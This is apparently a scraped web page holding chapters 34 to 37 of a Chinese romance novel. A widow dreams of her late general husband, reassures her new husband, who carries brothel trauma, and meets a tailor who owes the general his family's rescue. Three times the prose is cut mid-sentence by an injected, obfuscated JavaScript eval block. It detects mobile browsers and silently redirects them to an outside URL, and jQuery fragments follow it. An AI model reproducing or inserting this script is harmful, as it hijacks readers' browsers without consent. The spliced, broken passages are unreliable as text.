他俯下身将自己的脑袋靠在她的颈窝,不停地蹭着,像是在家等待了主人许久的某种大型犬类。 “婉婉,我都好几个月没有见你了,你都不想我吗?” 想呀,怎么不想呀。 为了怕整日念叨他加重祖母的思念,沈婉仪几乎很少亲口说出“我想他了”这几个字,但只有她知道,越是不说,思念在心里的分量就会越来越重。 不然,她又怎么会把他的画给放在枕边呢? 梁钺不管她有没有回答,仍是自顾自地说着,“婉婉,每次我回来还没有离开的时候,我就在想你了。” “好奇怪是不是?明明你就在我的眼前,我却还是一如既往地想念着你,若是我能走到哪里都把你带着就好了。” 沈婉仪被他整个人扣在怀中,看不清他脸上的表情,但却能从他话中听出他此时的懊恼。 这话虽听上去有些孩子气,但她却知道他不是在开玩笑,他是真的认真思考过如何将她一直带在身边的。 以前沈婉仪并没有觉得梁钺黏人,但自从梁钺的祖父和父母去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095801|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世后,她能感觉到梁钺变得......怎么说呢? 更加患得患失了。 并且更加患得患失的背后,是更加地重谷欠。 梁钺每次回来的头几日,沈婉仪是没力气下床走路的。 特别她们二人成婚之后,就算有时他奉令留在上京,白日跟着小队去巡逻,不过是几个时辰没见,他每次回来都先冲到后院去找她,一见着面,就非要将她抱在怀里不可。 根本不管是否有其他人在场。 后来沈婉仪屋子里的人都学乖了,每次只要见到公子往屋内走,都默默地离开那间屋子,只留她们两个人在屋内。 沈婉仪那时也问过他为何非要如此,梁钺却只是抱住她闷闷地说,“婉婉,我只有将你抱着怀里的时候,才能真切感知到你在我的身边。” “婉婉,你知道吗?我每次回来时都既高兴又害怕。” “高兴是因为要见你,害怕是怕见不到你。” 沈婉仪从他怀中出来,捧起他的脸摩挲着,充满怜惜地看着他,“傻子,这有什么好怕的?” 梁钺的瞳孔中清晰地映出她的倒影,他顿了顿,垂下眼帘,语气落寞,“怕见不到你,就像当年看不见祖父和爹娘那样。” 这话扎得沈婉仪心口一疼,当年梁正与梁广夫妻去世时,梁钺并不在现场,他那时刚好被派去支援东南的另一支玄甲军,回来时再见便只有三人的棺椁。 她轻轻靠过去,额头与他相贴,“不会的,我向你保证,只要你回来,推开门,准能一眼看到我。” ...... 现下又再听到梁钺说这种话,沈婉仪摸了摸他的头,无奈道,“你怎么还是这么傻,我又不是穿在你身上的衣裳,哪能四处随你行走?” “那如果我能做你的衣裳整日穿在你身上就好了。” 沈婉仪伸出食指抵着梁钺的额心将他推开,下了结论,“小孩子脾性。” 话音刚落,手指被他反手握住,他轻飘飘在她手背上落下一个如羽毛般的吻,重新将她拥入怀中。 细密的吻落在她的唇边,一点点往下。 他放在她腰侧的手也开始不规矩的乱动起来,滚烫的掌心顺着她的腰侧缓缓摩挲,指尖勾着她的衣襟系带轻轻挑拨。 低沉喑哑的声音在她耳边响起,“婉婉,我好难受,你帮帮我好不好?” 饶是这时,沈婉仪乍然听见这话,还真以为他身体哪里不舒服,一下着急起来,在他身上四处查探,“哪里不舒服,我让人去请大夫。” 随着她的动作,梁钺难耐的地仰起头,他几乎就要喘息出来,半响,他找回自己的声音,“......不用,你来当我的大夫就行。” 他说着,就带着沈婉仪的手往下探去...... 梦里的场景仍是延续了那天的旖旎,最后也是以那天她最后的承诺而告终。 “婉婉,你以后不准给别人量衣服。” 沈婉仪那时已经被他折腾得完全没了力气,回答的话也是断断续续的,“你以为......谁都和你一样无聊......放着裁缝不用.....找一个外行来呀.....” 像是不满意她的答案,梁钺的手立马又缠了上来,“我不管,我就要你答应我。” 沈婉仪被他的动作激得一颤,担心他又卷土重来,毫不犹豫答应道,“我答应你。” 梦里的画面,越到后面越模糊,梁钺的声音也随着画面的破碎越来越远。 “婉婉......婉婉......你答应我......” ...... “阿婉?阿婉?” 沈婉仪猛地睁开眼坐起来,摇椅随着她激烈地动作忽地向前倾斜,眼看她重心不稳就要朝前摔落在地,一个温暖的怀抱却将她轻柔地接在了怀里。 沈婉仪顶着满头的冷汗与绯红的脸颊,对上柳青砚关切的眼神。 “阿婉,可是魇着了?” 35. 第 35 章 她垂下头,避开柳青砚的视线,心里没由来地生出一股心虚的感觉。 这种感觉是源自于她违背了和梁钺的约定还是她在柳青砚这个“夫君”面前做了不可言说的梦,沈婉仪一时也说不上来。 但她仔细想了想,她是叫裁缝来给柳青砚量尺寸做衣裳,又不是她亲自来量,这应该不算违背了和梁钺的约定。 而柳青砚这边,他毕竟只是她名义上的夫君,她就算梦到和梁钺的旖旎旧事,这应该也和他毫无关系吧? 况且柳青砚又不能看到她梦里面的情况,只是她面对他时有些尴尬罢了。 但话虽如此,沈婉仪直到被柳青砚重新扶到屋内的美人榻上坐下,她都一直不敢去看柳青砚。 她怕一对上他的眼神,他就会关切地问她刚刚做了什么梦。 “阿婉,喝点水吧。” 视线内白皙修长的指节端着一杯温水递过来,听到声音沈婉仪才蓦地回过神来,忙将水接过来。 “啊,好,谢谢。” 她一言不发地喝着水,柳青砚见到她额头上满是冷汗,忍不住拿出帕子替她轻柔地擦拭起来。 但沈婉仪才刚刚从那梦境中脱离出来,梦里她和梁钺缠绵良久,现在却被柳青砚这样温柔地照顾着,她觉得很是奇怪。 是以在柳青砚的帕子碰到她的额头前,她便微微向后撤了一下,旋即放下手中的茶杯,“我自己来吧。 柳青砚看出她有些抗拒,但他也没有强求,他在她身旁坐下,也给自己倒了一杯水。 喝水的间隙,他抬眼看了看沈婉仪的脸色,比起刚才那不正常的红润要好了很多,他稍微放心了些。 他虽猜出阿婉这一连串奇怪的举动可能和她刚刚所做的梦境有关,但刚才他问她“可是魇着了”时,她并没有接话,可见她并不想回答这个问题,于是现在他也识趣地不再追问。 待她擦拭完,他这才问起刚刚在府门前碰到的人,“阿婉,我刚刚带着阿盈回来时,在门口碰见芸香带着一个裁缝进来,可是要给阿盈做新衣裳了?” “不是......”这两个刚说出口,沈婉仪却感到一阵冷意,她看了看窗外的天色,现下已是傍晚。 暮色四合,夜风吹得桂枝轻轻晃动,也顺着半开的窗户吹进来,吹得人不自觉瑟缩了身子,这股冷意便是由此而来。 她随即心念一动,将话头转了回来,“也算是吧。快入冬了,再之后便要过年了,也是时候做些冬衣了。” 沈婉仪说着,将擦拭了的帕子顺手放好,预备让人洗了还给他。 “不只是阿盈,你、我,还有府里的下人,所有人都有。”她顿了顿,又补充道,“今日先让裁缝来将我们三人的尺寸量了,剩下的便让交给管家去办吧。” “还是阿婉想的周到。” 柳青砚说着起身去将窗户给关了,顺便又给沈婉仪倒了一杯温水递过来,“不过现在才十月份,做冬衣是不是早了些?” 沈婉仪的指尖刚触到温热的杯壁,听见这话猛地一顿,握着杯子的手不自觉收紧。 她抬眼,撞进柳青砚清明的视线里,那目光太过澄澈,仿佛能看穿她所有藏在心底的心思。 她下意识低头避开他的目光,杯中水在她的动作之下泛起浅浅涟漪。 沈婉仪盯着手中的杯子,半响,她长舒一口气,决定坦白,“其实......你晨起时觉得衣服紧了不是错觉。” 柳青砚挑了挑眉看过来,“嗯?” “怪我,最近给你吃的东西太多了些,将你给吃胖了。”由于心虚,沈婉仪说这话时声音都低了些。 她一口气说完后,刚刚耳根好不容易又降下去的温度此刻重新又升了上来,她像个鹌鹑似的低垂着头,根本不敢去看柳青砚此刻的反应。 屋子里骤然静了下来,唯有两人浅浅的呼吸声,在此刻变得分外清晰。 沈婉仪其实一开始想过告诉柳青砚这话之后他的反应,她当时其实并不认为他会有多么恼怒又或是其他过于激烈的反应。 毕竟,长胖了什么的......其实算个小事,是吧? 所以她刚刚才随意找了个由头,原本准备把这件事给糊弄过去,但奈何面对柳青砚探究的眼神她实在是难以招架,所以只好如实相告。 毕竟考虑到认识柳青砚以来,他一直都维持着身姿卓然的模样,这才不过和她成亲一个多月,就被她所做的食物给养胖了,沈婉仪不可不觉得窘迫。 这些话说出口,沈婉仪也如释重负,不用在为找什么理由而烦恼了。 但此刻柳青砚的反应,可谓是有些出乎沈婉仪的意料。 虽说她一开始料想他不会有太大反应,可现在他这一言不发的状态,也实在是太过冷静了些。 冷静得......有些诡异。 虽说有为自己开脱的嫌疑,但沈婉仪一开始确实没将此事看得很是严重。 她想着事情现在已经发生了,她不可能让柳青砚一下重新恢复成之前的模样,也不可能让柳青砚把之前吃的东西都吐出来。 况且霁月也答应之后会教她做什么“减脂餐”,让柳青砚重新瘦下来,于是她现在唯一能做的事,就是给他按照现在的尺寸重新给他做衣裳,算是对他的补偿。 但柳青砚现在这个状态,沈婉仪却品出一丝不好的意味出来。 犹豫再三,她咬了咬唇,试探着开口,声音带着几分不确定,“你可是觉得怪我?若是觉得怪我,也没什么稀奇的,我任由......” “不是。” 清冷的声音打断了她的猜测,柳青砚缓缓抬眼,沈婉仪这下终于能看清他的表情。 他的眼眶红了。 那抹红顺着眼尾浅浅晕开,衬得原本清寒的眸子添了几分易碎的脆弱,与他平日里沉稳清隽的模样截然不同。 沈婉仪心头猛地一揪,有些手足无措起来,原本他一声不吭,她还以为他是太过淡定,合着没想到反应这么大。 她从未见过这样的他,一时竟不知道该说些什么,想了半天,还是打算先出声安慰,“虽说是我的不好,但其实这也不是什么大事......” 话说到一半,抬眼间却猝不及防地对上了柳青砚的目光,他漆黑的眸子此刻正牢牢锁住她,带着一种近乎执拗的探究。 沈婉仪忽地就忘记了自己后半句要说什么。 只见他薄唇微启,声线依旧清冷,却藏着不易察觉的惶然,“婉婉,你嫌弃我了吗?” 这话就有些莫名其妙了。 沈婉仪被他问得一愣,但此刻见他的状态不佳,她想着还是先稳定他的情绪。 她摇了摇头,温声道,“大人之前太过清瘦,现在胖了些正好,不然身形也太过瘦削了些,仿佛风一吹就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112022|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能吹倒似的。” 这话虽然有为自己开脱的成分也有安慰的成分,但却是沈婉仪的肺腑之言。 柳青砚每次出现在她面前,几乎都是人在衣中晃的模样,现下胖了些,他的衣裳反而更合身了些。 沈婉仪受梁钺和沈嘉禾影响,总觉得男子应该健壮些才好,不然若是整日都一副弱不禁风的模样,会总让人产生此人身体不好的印象。 沈婉仪和柳青砚的前几次见面,他给她留下的印象之一便是太过清瘦了些。 柳青砚微微前倾身体,恍若实质的视线落在她脸上,他一寸寸地扫过她眉眼,似要辨清她话里的真假。 在确定她不是在说假话后,他仿佛终于松了一口气般,重新坐直了身体,自言自语道,“那就好。” 他说完,想起什么,又重新抬眼看过来,带着点小心翼翼的试探,“阿婉,那你觉得是之前的我好,还是现在的我好?” “若是之前的好,那我......” 沈婉仪轻轻开口,声音温柔,却带着不容置疑的笃定,“现在这样就挺好。” “大人事务繁忙,日理万机,总该有个强壮的身体才扛得住这么多事情才是,不然该把自己给累到了不是?” 沈婉仪说着,伸出手来轻轻拍了拍柳青砚攥得极紧的手背,眉眼弯成柔和的弧度,眼底盛着真切的关切,语气温软又带着几分叮嘱的认真。 柳青砚望着她温柔的眉眼,眼底翻涌着从未有过的动容,攥得极紧的指尖不自觉放松了些。 他的喉结轻滚了滚,想说什么,却又堵在喉头,只觉得周身都浸在她温柔的气息里,仿佛呼吸都带着暖意。 刚刚当他从她的嘴里听到那个“胖”字时,那些熟悉的、恶毒的、刺耳的话语仿佛又重新在他耳边响起。 “我们鸣鸾阁里面的男人,就该有男人的模样,是供贵人瞧着舒心、搂着合意的模样!不是让你们养得膘肥体壮,成头只会吃睡的肥猪!” “你瞧瞧你身上的软肉,你自己不觉得恶心吗?贵人瞧着都得吐了,更别说点你了!” “不过休息了几日,连副好皮囊都守不住!你到底有什么用?!你要知道像你这种的胖了就没人看,没人看就没银子,没银子你就是一个没人要的破烂!” “我养你这个破烂有什么用??我看你是养了几日把皮又痒了,来人上家伙!还是别给我打到脸,给他上点劲,让他记住这滋味!” “......” 那些话就像魔咒似的怎么也挥之不去,所以阿婉说出那句话时,他慌了,他下意识以为阿婉也觉得他恶心了,他不过才和她成亲一年,她就要抛弃他了吗? 乱七八糟的思绪在那刻翻涌的厉害,让他根本顾不上阿婉在说些什么,只一味想从她嘴里得到个答案。 还好阿婉没有嫌弃他,还好阿婉不是在说假话。 阿婉怎么那么好,不光没有贬低他,还来安慰他,她和老鸨说的那些贵人根本不一样。 她只会温柔的安慰他,用真切的眼神注视着他,她像是他一个人的菩萨,只为渡他而来。 被她用这样柔软的目光看着,柳青砚忽地羡慕起梁盈来,若是梁盈的话,她此刻应该已经在她怀里了吧。 她的怀里应该更温暖吧。 柳青砚就这样直愣愣地看着他的阿婉,想象着她的怀里该是怎样的温度。 36. 第 36 章 沈婉仪见他没有反应,只是直勾勾地看着自己,也不知道自己刚刚说的话他有没有听进去。 她起身叫他一起去用晚膳,两人才刚走出房门,沈婉仪的动作却猛地一顿,因为她忽地想起一桩被她遗忘的事来——她刚刚特意叫厨房将晚膳做得清淡些来着。 “阿婉?” 她才安慰了柳青砚说他现在这样就挺好的,却私下里安排厨房少做一些荤腥,很难不让人多想。 她抿了抿唇,有些不好意思向他解释道,“我以为你会为此事怪我,所以今日回来时并没有带任何吃食,刚刚还特意让厨房做的菜少一些荤腥。” “我这样做并不是嫌你这样不好......” “没事的,阿婉。” 柳青砚的眉眼重新弯成温柔的模样,笑意也清浅地漫在脸上,仿佛刚刚在屋内眼尾泛红哽咽说话的是另一个人。 “你刚刚不是说永远不会嫌弃我吗?” 沈婉仪蹙眉,“我有......”这样说过吗?她刚刚好像只是在他提问时说了“不会”这两字吧。 况且他刚才有加上“永远”这个词吗? “这样就够了。” 没等她说完,柳青砚便出口打断了她的话。 天气渐寒,院子里的月桂已经落了不少,夜风一吹,鹅黄色的星星点点更是如雨般坠落。夜风将花香送到鼻尖,也将沈婉仪吹得打了一个喷嚏。 柳青砚走上前,将手中雪白色的大氅轻轻拢在她肩头,沈婉仪只感觉一片浓重的阴影笼罩了下来。 还未反应过来,骨节修长的手指已经灵巧地绕到她颈后,将那同色的系带轻轻一抽,缓缓打了个美观却又并不松垮的结。 他的动作放得极轻,指腹收回时顺道将贴在她脸颊处的发丝帮她绕到了耳后,这套动作他做的行云流水,仿佛已经演练了多次一般。 沈婉仪原本想退一步,说自己来的,可她抬眼后,脚步却忽然不受控制地定住了一般,她第一次觉得柳青砚的模样在自己视线里这么清晰。 两人站在院中,此刻月亮已经穿过浅淡的云层显露了边缘,清冷的月光斜斜洒下,落在他身上,将他周身都镀上一层薄而凉的银辉。 他离得她极近,她甚至能感受到他浅浅的呼吸。 他的身形已不复往日那般过分清瘦,颊边添了些恰到好处的肉,衬得轮廓愈发温润好看。月光勾勒出他利落却不凌厉的下颌线,鼻梁高挺,唇线分明,连平日里略显冷硬的眉眼,都在这清辉里柔了几分。 他微微垂着眼,目光落在她身上,眼底盛着月色,也盛着化不开的温柔,静立如玉树临风,清俊又温雅,连风掠过他衣袂的模样,都似被这月光浸得温柔了。 沈婉仪不知怎地心跳忽然漏了一拍。 她不动声色地捂上自己的心口,在察觉到那里跳动的异常后,她猛地后撤一步行了个礼。 “多谢大人,大人不计较就好。我们先去吃晚膳吧,阿盈怕是等急了。” 她说完,像真是等不及了似的没等着看柳青砚的回话,自顾自地先走了一步。 柳青砚不知她怎地又连着叫了自己两声“大人”,但却也三步并作两步紧跟在了她后面。 他看着她匆忙的背影,反思刚刚自己的举动是不是太过亲密了些,否则阿婉为何突然待他如此客气疏离。 他在这边独自反思着,也就没有关注到沈婉仪她那慌乱甚至谈得上是错乱的脚步。 * 裁缝原本候在外间,却没想到主人家考虑周全,特意将他请至偏厅给他备了专门的晚膳。 他虽在锦衣阁拿着不低的月钱,却也从未舍得将钱花在这些山珍海味上。是以当丰盛的菜肴一端上来,他发现竟是些他连过年都很少吃上的食物时,这主人家在他心里顿时多了些份量。 贵人常见,舍得专门给他们这些裁缝准备一桌子佳肴的贵人可不常见。 他暗自想着,待会拿到尺寸回去之后更得好好做这批冬衣了,怎么着也得对得起人家这桌山珍海味才是。 用过晚膳,他又被重新请至正厅,到了不过片刻,主人家一行人就出来了。 男的身形挺拔,模样清俊,女的秀丽端庄,气质温婉,瞧着竟有些熟悉,两人中间牵着的小女孩粉雕玉琢,嘴巴尤其像她娘亲,只是一副机灵活泼的性格反倒和两位大人的气质都有些不大相像。 裁缝只匆匆看了一眼,便又把头重新低下去了。 这么多年他给许多人量过尺寸,里面也不乏许多贵人,贵人向来是不喜他们多看的,所以他只要一眼便可以记住客人的模样,这样更方便他们取衣。 沈婉仪率先开口,“先给这位量吧。”声音清凌凌,仿佛一股泉水流入耳中。 听到这声音,裁缝宛如被雷击中一般全身一僵,旋即蓦地抬头,声音颤抖,“夫人可是前骠骑大将军梁钺的夫人?” 沈婉仪正带着梁盈准备在一旁坐下,却没想到会在这里重新听到有人提到梁钺的名字,她的眼睫轻轻颤了颤,心里仿佛被什么东西扎了一下,动作一顿。 离得最近的柳青砚原本还心不在焉,指尖也漫不经心地摩挲着腰上挂着的玉佩,只盼着量完尺寸便好回房寻阿婉说话。 可“前骠骑大将军梁钺的夫人”几个字入耳后,他周身散漫的气息骤然一收,瞬间回过神来。 他先是扫了那激动的裁缝一眼,目光冷淡而锐利,旋即收回视线,下意识地转头盯着他的阿婉,想将她的反应一丝一毫全都不漏地收入眼底。 沈婉仪正准备答话,梁盈却眨了眨眼,疑惑道,“梁钺?你是在说我爹爹嘛?” “爹爹?原来这位姑娘是梁大将军的爱女!”裁缝的声音陡然拔高,带着几分难以置信的激动。 他说完便朝着梁盈这处大步流星走过来。 沈婉仪将女儿朝自己的身后拉了拉,上前一步挡在孩子身前,柳青砚也朝着这边走过来。 见到这场面,裁缝这才意识到自己行为有多唐突。 他朝着几人行了个礼,连忙道歉,“抱歉,梁夫人,我只是许久没听到梁将军的消息了,今日骤然见到您与小姐,一时激动失了分寸,冒犯之处,还请诸位海涵。” 柳青砚淡淡抬眼,面无表情地纠正着裁缝话语中的错误,“她现在是柳夫人。” 裁缝被他那一眼看得心头一紧,后背竟莫名发寒,他刚刚太过激动,竟然一时忘记了这是柳府! 这时刚刚被他遗忘在脑后的消息也慢慢跳了出来,梁将军已战死三年多了,梁夫人守寡期已过,已带着她和梁将军的女儿于前不久嫁给了御史中丞柳大人。 此人虽比不上骠骑大将军的职位高,可也不是他们这种平民百姓可随意冒犯的。 他慌忙低下头,擦了擦额头上的冷汗,“是是是,小人失言,是柳夫人,柳夫人……小人糊涂,还望柳大人恕罪。” 见他并无恶意,沈婉仪也出来打了圆场,“无碍,不是什么大不了的事。” 她注视着面前的老伯,接上他刚刚的询问,“是,我是梁钺的夫人。”她顿了顿,道,“前夫人。” 虽然她已经说明了是“前夫人”,但她说完这话的下一秒,一道若有实质的视线还是缠绕在了她身上。 这道视线太有存在感,沈婉仪能够清晰感知到它来自何处,但此刻她无暇去管那么多。 “老伯可是先夫的故人?” 梁钺刚去世的那段日子,他的战友和同僚时不时都会来梁府看望下她这个遗孀,但越到后面人就越来越少了,沈婉仪带着梁盈回沈国公府后,更是没几个人上门来了。 沈婉仪看这老伯这么激动的模样,猜测他是不是梁钺的老战友,从战场上退下来后便回上京做了裁缝。 裁缝惭愧道,“故人谈不上,顶多算是个被梁将军照拂有加的老人罢了。” 他说着,目光微微飘远,像是想起了许多年前的事,声音也轻了些,“几年前,我与梁将军的初见,还是夫人您邀我到府上来准备为将军量体裁衣呢。” “是他派人将你送回去的那次?”沈婉仪白日才做了这个梦,这下猛地听他提起,一下便将人对上了号。 “对,就是那次!那时我恰逢家中老母重病,每日需要服大量昂贵的药材才能吊住性命,我被送回去的路上,还以为今日又是白跑一趟,却没想到梁将军硬是塞给了我二两银子算作路费。” “那时二两银子快抵上我一个月的月钱了,我本就因这意外之喜对梁将军心存感激,却没想到将我送回去的好心人还把我家里的情况告诉了梁将军,自那以后我母亲的药材钱便被梁将军全包了。” 裁缝说着,眼眶渐渐红了,“全靠梁将军,我母亲才能安安稳稳地度过最后的日子。” “母亲去世后,远在儋州老家的老丈人又中了风,我便向老板请辞与夫人一起回了老家。” “儋州临海,时常有海匪上岸骚扰,建宁十五年,那是海匪最猖狂的一年,六月份连着快一个月的暴雨,渔民几乎都没怎么出过海,海匪也连着一个月颗粒无收,于是好几个岛上的匪徒便联起手来一起上了岸。” 随着他的话,沈婉仪也陷入回忆,她盘算着时间,“建宁十五年?” 那是她生梁盈的那年。 梁钺六月份收到调令赶往儋州后,便好几个月没有音信,她原本想她生梁盈时他应该赶不回来了,却没想到最后他还是提前将百姓都安顿好了之后,跟上官告假赶了回来。 “对,那年我们一家也遭了难,那些海匪可真不是人,不光要抢钱财,抢物资,甚至连人也要抢!”或是想到那些海匪的畜生行径,裁缝的脸上也带了一丝狠厉。 “那时两位老丈人几乎都没有抵抗之力,我又要护着老人,还要护着妻子和孩子,实在分身乏术!最后我被打倒在地,只能眼睁睁妻子和孩子都被那伙海匪一同绑走了!” “我不甘心爬起来紧追出去,却被守在门口的海匪一脚踢飞,眼见那大砍刀就要落到我身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128204|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一把银枪飞驰而来穿着那海匪的胸膛而过,将他钉死在了墙上。”裁缝说道此处,又重新既激动起来,胸腔起伏个不停。 “我顺着视线望过去,只见梁将军已经将我的妻子和女儿救回来了!我们一家又被梁将军救了一次!” “梁将军的恩情,我们这家子这辈子都还不清了。”裁缝感慨,“当年听到梁将军去世的消息,原本想带着一家人前来祭奠的,可惜老丈人身边离不开照顾的人,无法得闲。” “去年老丈人走了,我们一家重新才搬到上京。” 沈婉仪听完他说的这些,脑海中那些相关的记忆也冒了出来。 那时她刚生完阿盈没多久,梁钺回来后就每日守在她的床前照顾她和孩子,空闲时他也会与她分享他这次出去遇见的人和事。 这位老伯他也是提起过的。 “婉婉,我给你说一个特别巧的事!你还记得还没给我量尺寸就被我送回去的那个老伯吗?” 沈婉仪虽未与他打过照面,却还是记得有这么一个人的,“记得,怎么了?” “没想到他夫人的老家就刚好在儋州,我这次去儋州居然又碰到他了,你说我们是不是特别有缘?” ...... 现在沈婉仪和梁盈在柳府,居然也碰上了他,看来这老伯和她们一家的缘分还真是妙不可言。 若是她没记错,他应是姓陈,名齐。 “难为陈伯费心,先夫向来是扶危济困的性子,不然也不会随他父母入了玄甲军。他......若是泉下有知,若是知道您一直牵挂着他,想来也会记着你这份心的。” 想起梁钺,沈婉仪的眼神也柔软了几分。 陈齐摆了摆手,“不敢让梁将军惦念,只求将军的英灵能在地下安息。” 梁盈的小脑袋在沈婉仪身后一探一探的,对她爹爹的过往很是感兴趣。 陈齐看到她这丝毫不怕生的样子,这才意识到她这是随了谁,他抱拳礼貌询问,“夫人,我能看看小姐吗?” 沈婉仪蹲下身与梁盈耳语了几句,梁盈同意后,她才缓慢起身,“你过来吧。” 梁盈从母亲的身后走了出来,丝毫没有面对陌生人的恐惧。 陈齐蹲下身仔细打量着身前的小女孩,果然在她眉眼间发现了几分梁将军的影子,他很想上手摸摸她的小脑袋,但最后他也没有伸出手。 他感慨道,“没想到几年没见,梁将军的女儿都已经这么大了!” 梁盈眨巴着圆溜溜的眼睛看着对面的这个人,他眼角的皱纹很深,看她的眼神充满了怀恋,像是透过她在看另外一个人,说的话也是和那个人相关。 她问,“这位爷爷,你也在想我爹爹吗?” 没想到她会这样问,陈齐的声音一时有些哽咽,“回小姐的话,我确实是想梁将军了。” 说到这个,他想到了什么,眼睛倏地一亮,猛地站起身子,双眼一时有些发黑,但他却全然不顾,他朝着沈婉仪那处抱拳躬下身,“小人有个不情之请,还望夫人同意。” 沈婉仪忙让一旁的小斯将他扶起,“老伯请说。” “小人想着原本此次回京怎么也得去梁府上祭拜将军,但梁府中留守的人并不认识小人,小人一直无法得以进去祭拜,还望夫人首肯。” “原是这事。”沈婉仪了然。 梁钺去世的当年前去祭拜的人是最多的,当时来梁府的人只要说是来祭拜梁将军的,门口的守卫便都会放人,但自从有人混进去故意闹过事后,沈婉仪便下了令要核实此人的身份后才能放人进入。 “老伯下次去时,提前让人告知我一声,我会在梁府门前等候接您进去。” “多谢夫人。”陈齐感激道,旋即他有些面露难色地开口,“不知腊月前夫人是否有空?小人和夫人约好了腊月一起回老家儋州来着。” “腊月前啊......”沈婉仪有些不好意思地开口,“今年先夫祭日后,恰逢几位高僧西行回了永兴寺,他的牌位便被我请到了城外的永兴寺供奉着,高僧诵经祈福须得百日,腊月前实在是有些不太方便。” 眼看陈齐就要失落垂下头,沈婉仪连忙温声补了一句,语气温柔又恳切,“牌位虽在寺中,我这府里却留有先夫的画像,您若不嫌弃,眼下可随我到后院的......偏房处祭拜。对着画像祭拜一番,也是尽了您的心意。” 习惯使然,沈婉仪刚刚口快差点说成了祠堂。 可此处是柳府,她是柳青砚名义上的妻子,在这里的祠堂祭拜亡夫实在是有些不太妥当,幸好她开口前改了口,不然就要给柳青砚难堪了。 却没想到从始至终在一旁默然注视这一切的柳青砚却冷不丁地开了口,“去佛堂吧,那里方便你们上香。” 沈婉仪讶然转头,刚刚刻意避开的视线此刻终于重新落回柳青砚的身上。 她怔然望着他,唇瓣微张,想说些什么,喉头却似被什么堵住,只余下一声极轻的、带着错愕的“好”字。 37. 第 37 章 沈婉仪让芸香去梁盈房间将画像取来佛堂,她带着几人一起在佛堂给梁钺上了香。 期间,柳青砚神色如常,礼数周全,丝毫挑不出什么错处。 上完香出来,陈齐才想起刚刚没做完的正事来,朝着沈婉仪和柳青砚躬身,“小人耽搁夫人和大人时间了。” 沈婉仪将他扶起,“陈伯是为祭拜先夫,如此感恩之心,如何算耽搁呢?” 柳青砚在一旁也搭腔道,“夫人说的是,梁将军忠勇可敬,陈伯一片赤诚心意,本就该从容周全,何来耽搁之说。” 陈齐闻言眼眶微热,又要躬身行礼,被柳青砚抬手轻轻拦住,“不必多礼。” 陈齐刚刚虽被柳青砚的那一眼给吓到,但见他刚刚又是给将军上香,现下对他也是十分温和的模样,在心里不由得对他改观了几分。 同时他也悄悄在心里泛起了嘀咕,这人怎么倒有两副面孔的模样。 但他是不敢将这话说出口的,“大人与夫人这般体恤,小人心中实在感念不尽。眼下天色已晚,小人尽快为几位量完尺寸,不再耽搁了。” 本就是没几下的事,况且陈齐本就是裁缝老手,他这话说完没多久,他便拿出了软尺,手脚麻利地为几人量完了尺寸。 送走了陈齐,沈婉仪便让兰黛带着孩子去准备歇息,顺带让她去佛堂把画像取回去。 她自己则是与柳青砚一同回了正房。 回去的路上,柳青砚一言不发,但沈婉仪却有一种山雨欲来的感觉。 果不其然,两人前脚刚踏入了房门,柳青砚后脚便问她,“阿婉,我刚刚说想去祭拜梁将军,是让你感到为难了吗?” 他说这话时,眉眼低垂着,看上去有些小心翼翼,像是犯了错的模样。 沈婉仪见他这幅样子,也没有再拿刚刚那探究的眼神看着他,说出的话也软了几分,“也不是为难......我只是觉得你我虽是名义上的夫妻,但外人是丝毫不知的,你若是去祭拜梁钺,怎么说都有些奇怪。” “奇怪在何处?” 他这句话倒是把沈婉仪噎了一下,她顿了顿才道,“大人是我现在的夫君,而梁钺是我的先夫,哪有带着现任夫君去祭拜先夫的?” 柳青砚掀起眼帘,眼神直勾勾地看过来,“阿婉,你是怕我在梁将军的画像前宣示主权吗?” 他这话有些太过直白,不过沈婉仪也不想再解释这么多,她直直迎上这视线,坦然道,“是。” 屋内顿时安静下来,连窗外吹进来的风仿佛在此刻都停止了喧嚣。 沈婉仪的目光沉静如水,“这样说也不太妥当,主要是你这突然的提议有些太出乎我意料了,我本来没想过带你去见他的。” 柳青砚没想到她竟然答得如此坦荡直白,没有半分遮掩,也没有刻意安抚,只这般平静地承认,从一开始便没打算带他去见梁钺。 这是不是代表着她从来没将他当做真正的夫君? 他喉间微微一涩,方才眼底那点试探在此刻瞬间变成了一片无声的落寞。 “不过还要多谢大人,将佛堂拿出来供我们使用。” 柳青砚明知此刻自己应该一如既往地露出温和的笑,但他却始终笑不出来,最后只能僵硬地扯了扯嘴角,“阿婉带着女儿和客人祭拜先夫,本就是理所应当,我只是做了我应该做的罢了。” 沈婉仪听出他语气里那层压得极淡的落寞,胸口竟猛地一涩,指尖几不可查地蜷了蜷。 